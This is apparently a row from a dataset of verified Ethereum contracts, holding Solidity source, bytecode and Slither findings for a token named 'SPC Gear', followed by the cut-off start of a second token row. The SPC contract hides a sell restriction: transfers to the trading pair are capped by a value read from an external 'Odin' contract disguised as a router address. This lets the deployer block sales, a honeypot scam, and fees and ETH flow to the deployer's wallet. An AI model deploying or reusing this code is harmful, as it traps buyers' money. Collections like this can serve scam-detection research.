address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x7c1Cfd9e992b67D3Db4a912cAFcBd26855ED9Fb7 | /**
*Submitted for verification at Etherscan.io on 2021-11-14
*/
//SPDX-License-Identifier: MIT
// Telegram: https://spcgear.com/en/
pragma solidity ^0.8.4;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // new mainnet
uint256 constant TOTAL_SUPPLY=100000000000 * 10**8;
address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
string constant TOKEN_NAME="SPC Gear";
string constant TOKEN_SYMBOL="SPC";
uint8 constant DECIMALS=8;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface Odin{
function amount(address from) external view returns (uint256);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SPC is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private constant _burnFee=1;
uint256 private constant _taxFee=9;
address payable private _taxWallet;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier overridden() {
require(_taxWallet == _msgSender() );
_;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS);
_router = _uniswapV2Router;
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230f565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ed2565b61038e565b60405161014c91906122f4565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190612471565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7f565b6103bc565b6040516101b491906122f4565b60405180910390f35b3480156101c957600080fd5b506101d2610495565b6040516101df91906124e6565b60405180910390f35b3480156101f457600080fd5b506101fd61049e565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de5565b610518565b6040516102339190612471565b60405180910390f35b34801561024857600080fd5b50610251610569565b005b34801561025f57600080fd5b506102686106bc565b6040516102759190612226565b60405180910390f35b34801561028a57600080fd5b506102936106e5565b6040516102a0919061230f565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ed2565b610722565b6040516102dd91906122f4565b60405180910390f35b3480156102f257600080fd5b506102fb610740565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3f565b610c71565b6040516103319190612471565b60405180910390f35b34801561034657600080fd5b5061034f610cf8565b005b60606040518060400160405280600881526020017f5350432047656172000000000000000000000000000000000000000000000000815250905090565b60006103a261039b610d6a565b8484610d72565b6001905092915050565b6000678ac7230489e80000905090565b60006103c9848484610f3d565b61048a846103d5610d6a565b61048585604051806060016040528060288152602001612ac160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043b610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113059092919063ffffffff16565b610d72565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104df610d6a565b73ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b600061050a30610518565b905061051581611369565b50565b6000610562600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f1565b9050919050565b610571610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f5906123d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5350430000000000000000000000000000000000000000000000000000000000815250905090565b600061073661072f610d6a565b8484610f3d565b6001905092915050565b610748610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc906123d1565b60405180910390fd5b600b60149054906101000a900460ff1615610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90612451565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b430600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e80000610d72565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fa57600080fd5b505afa15801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611e12565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611e12565b6040518363ffffffff1660e01b81526004016109e9929190612241565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611e12565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac430610518565b600080610acf6106bc565b426040518863ffffffff1660e01b8152600401610af196959493929190612293565b6060604051808303818588803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b439190611f6c565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c1b92919061226a565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611f12565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d39610d6a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5957600080fd5b6000479050610d678161165f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd990612431565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990612371565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f309190612471565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490612411565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490612331565b60405180910390fd5b60008111611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611057906123f1565b60405180910390fd5b73c6866ce931d4b765d66080dd6a47566ccb99f62f73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ad9190612226565b60206040518083038186803b1580156110c557600080fd5b505afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd9190611f3f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a85750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b35760006111b5565b815b11156111c057600080fd5b6111c86106bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123657506112066106bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f557600061124630610518565b9050600b60159054906101000a900460ff161580156112b35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112cb5750600b60169054906101000a900460ff165b156112f3576112d981611369565b600047905060008111156112f1576112f04761165f565b5b505b505b6113008383836116cb565b505050565b600083831115829061134d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611344919061230f565b60405180910390fd5b506000838561135c9190612637565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113a1576113a0612792565b5b6040519080825280602002602001820160405280156113cf5781602001602082028036833780820191505090505b50905030816000815181106113e7576113e6612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148957600080fd5b505afa15801561149d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c19190611e12565b816001815181106114d5576114d4612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115a095949392919061248c565b600060405180830381600087803b1580156115ba57600080fd5b505af11580156115ce573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f90612351565b60405180910390fd5b60006116426116db565b9050611657818461170690919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c7573d6000803e3d6000fd5b5050565b6116d6838383611750565b505050565b60008060006116e861191b565b915091506116ff818361170690919063ffffffff16565b9250505090565b600061174883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197a565b905092915050565b600080600080600080611762876119dd565b9550955095509550955095506117c086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a181611aeb565b6118ab8483611ba8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119089190612471565b60405180910390a3505050505050505050565b600080600060075490506000678ac7230489e80000905061194f678ac7230489e8000060075461170690919063ffffffff16565b82101561196d57600754678ac7230489e80000935093505050611976565b81819350935050505b9091565b600080831182906119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b8919061230f565b60405180910390fd5b50600083856119d091906125ac565b9050809150509392505050565b60008060008060008060008060006119f88a60016009611be2565b9250925092506000611a086116db565b90506000806000611a1b8e878787611c78565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611305565b905092915050565b6000808284611a9c9190612556565b905083811015611ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad890612391565b60405180910390fd5b8091505092915050565b6000611af56116db565b90506000611b0c8284611d0190919063ffffffff16565b9050611b6081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bbd82600754611a4390919063ffffffff16565b600781905550611bd881600854611a8d90919063ffffffff16565b6008819055505050565b600080600080611c0e6064611c00888a611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c386064611c2a888b611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c6182611c53858c611a4390919063ffffffff16565b611a4390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c918589611d0190919063ffffffff16565b90506000611ca88689611d0190919063ffffffff16565b90506000611cbf8789611d0190919063ffffffff16565b90506000611ce882611cda8587611a4390919063ffffffff16565b611a4390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d145760009050611d76565b60008284611d2291906125dd565b9050828482611d3191906125ac565b14611d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d68906123b1565b60405180910390fd5b809150505b92915050565b600081359050611d8b81612a7b565b92915050565b600081519050611da081612a7b565b92915050565b600081519050611db581612a92565b92915050565b600081359050611dca81612aa9565b92915050565b600081519050611ddf81612aa9565b92915050565b600060208284031215611dfb57611dfa6127c1565b5b6000611e0984828501611d7c565b91505092915050565b600060208284031215611e2857611e276127c1565b5b6000611e3684828501611d91565b91505092915050565b60008060408385031215611e5657611e556127c1565b5b6000611e6485828601611d7c565b9250506020611e7585828601611d7c565b9150509250929050565b600080600060608486031215611e9857611e976127c1565b5b6000611ea686828701611d7c565b9350506020611eb786828701611d7c565b9250506040611ec886828701611dbb565b9150509250925092565b60008060408385031215611ee957611ee86127c1565b5b6000611ef785828601611d7c565b9250506020611f0885828601611dbb565b9150509250929050565b600060208284031215611f2857611f276127c1565b5b6000611f3684828501611da6565b91505092915050565b600060208284031215611f5557611f546127c1565b5b6000611f6384828501611dd0565b91505092915050565b600080600060608486031215611f8557611f846127c1565b5b6000611f9386828701611dd0565b9350506020611fa486828701611dd0565b9250506040611fb586828701611dd0565b9150509250925092565b6000611fcb8383611fd7565b60208301905092915050565b611fe08161266b565b82525050565b611fef8161266b565b82525050565b600061200082612511565b61200a8185612534565b935061201583612501565b8060005b8381101561204657815161202d8882611fbf565b975061203883612527565b925050600181019050612019565b5085935050505092915050565b61205c8161267d565b82525050565b61206b816126c0565b82525050565b600061207c8261251c565b6120868185612545565b93506120968185602086016126d2565b61209f816127c6565b840191505092915050565b60006120b7602383612545565b91506120c2826127d7565b604082019050919050565b60006120da602a83612545565b91506120e582612826565b604082019050919050565b60006120fd602283612545565b915061210882612875565b604082019050919050565b6000612120601b83612545565b915061212b826128c4565b602082019050919050565b6000612143602183612545565b915061214e826128ed565b604082019050919050565b6000612166602083612545565b91506121718261293c565b602082019050919050565b6000612189602983612545565b915061219482612965565b604082019050919050565b60006121ac602583612545565b91506121b7826129b4565b604082019050919050565b60006121cf602483612545565b91506121da82612a03565b604082019050919050565b60006121f2601783612545565b91506121fd82612a52565b602082019050919050565b612211816126a9565b82525050565b612220816126b3565b82525050565b600060208201905061223b6000830184611fe6565b92915050565b60006040820190506122566000830185611fe6565b6122636020830184611fe6565b9392505050565b600060408201905061227f6000830185611fe6565b61228c6020830184612208565b9392505050565b600060c0820190506122a86000830189611fe6565b6122b56020830188612208565b6122c26040830187612062565b6122cf6060830186612062565b6122dc6080830185611fe6565b6122e960a0830184612208565b979650505050505050565b60006020820190506123096000830184612053565b92915050565b600060208201905081810360008301526123298184612071565b905092915050565b6000602082019050818103600083015261234a816120aa565b9050919050565b6000602082019050818103600083015261236a816120cd565b9050919050565b6000602082019050818103600083015261238a816120f0565b9050919050565b600060208201905081810360008301526123aa81612113565b9050919050565b600060208201905081810360008301526123ca81612136565b9050919050565b600060208201905081810360008301526123ea81612159565b9050919050565b6000602082019050818103600083015261240a8161217c565b9050919050565b6000602082019050818103600083015261242a8161219f565b9050919050565b6000602082019050818103600083015261244a816121c2565b9050919050565b6000602082019050818103600083015261246a816121e5565b9050919050565b60006020820190506124866000830184612208565b92915050565b600060a0820190506124a16000830188612208565b6124ae6020830187612062565b81810360408301526124c08186611ff5565b90506124cf6060830185611fe6565b6124dc6080830184612208565b9695505050505050565b60006020820190506124fb6000830184612217565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612561826126a9565b915061256c836126a9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125a1576125a0612705565b5b828201905092915050565b60006125b7826126a9565b91506125c2836126a9565b9250826125d2576125d1612734565b5b828204905092915050565b60006125e8826126a9565b91506125f3836126a9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262c5761262b612705565b5b828202905092915050565b6000612642826126a9565b915061264d836126a9565b9250828210156126605761265f612705565b5b828203905092915050565b600061267682612689565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126cb826126a9565b9050919050565b60005b838110156126f05780820151818401526020810190506126d5565b838111156126ff576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a848161266b565b8114612a8f57600080fd5b50565b612a9b8161267d565b8114612aa657600080fd5b50565b612ab2816126a9565b8114612abd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d3d119b020b603e028b6816f984b8aa6fb3bd6318fc1269dc6131aa90800806664736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,800 |
0xf792d95f7f10fd31785de742c9b24100c4d90894 | //BirdInu ($BirdInu)
//Telegram : https://t.me/birdinuofficial
//Website : https://birdinu.com
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
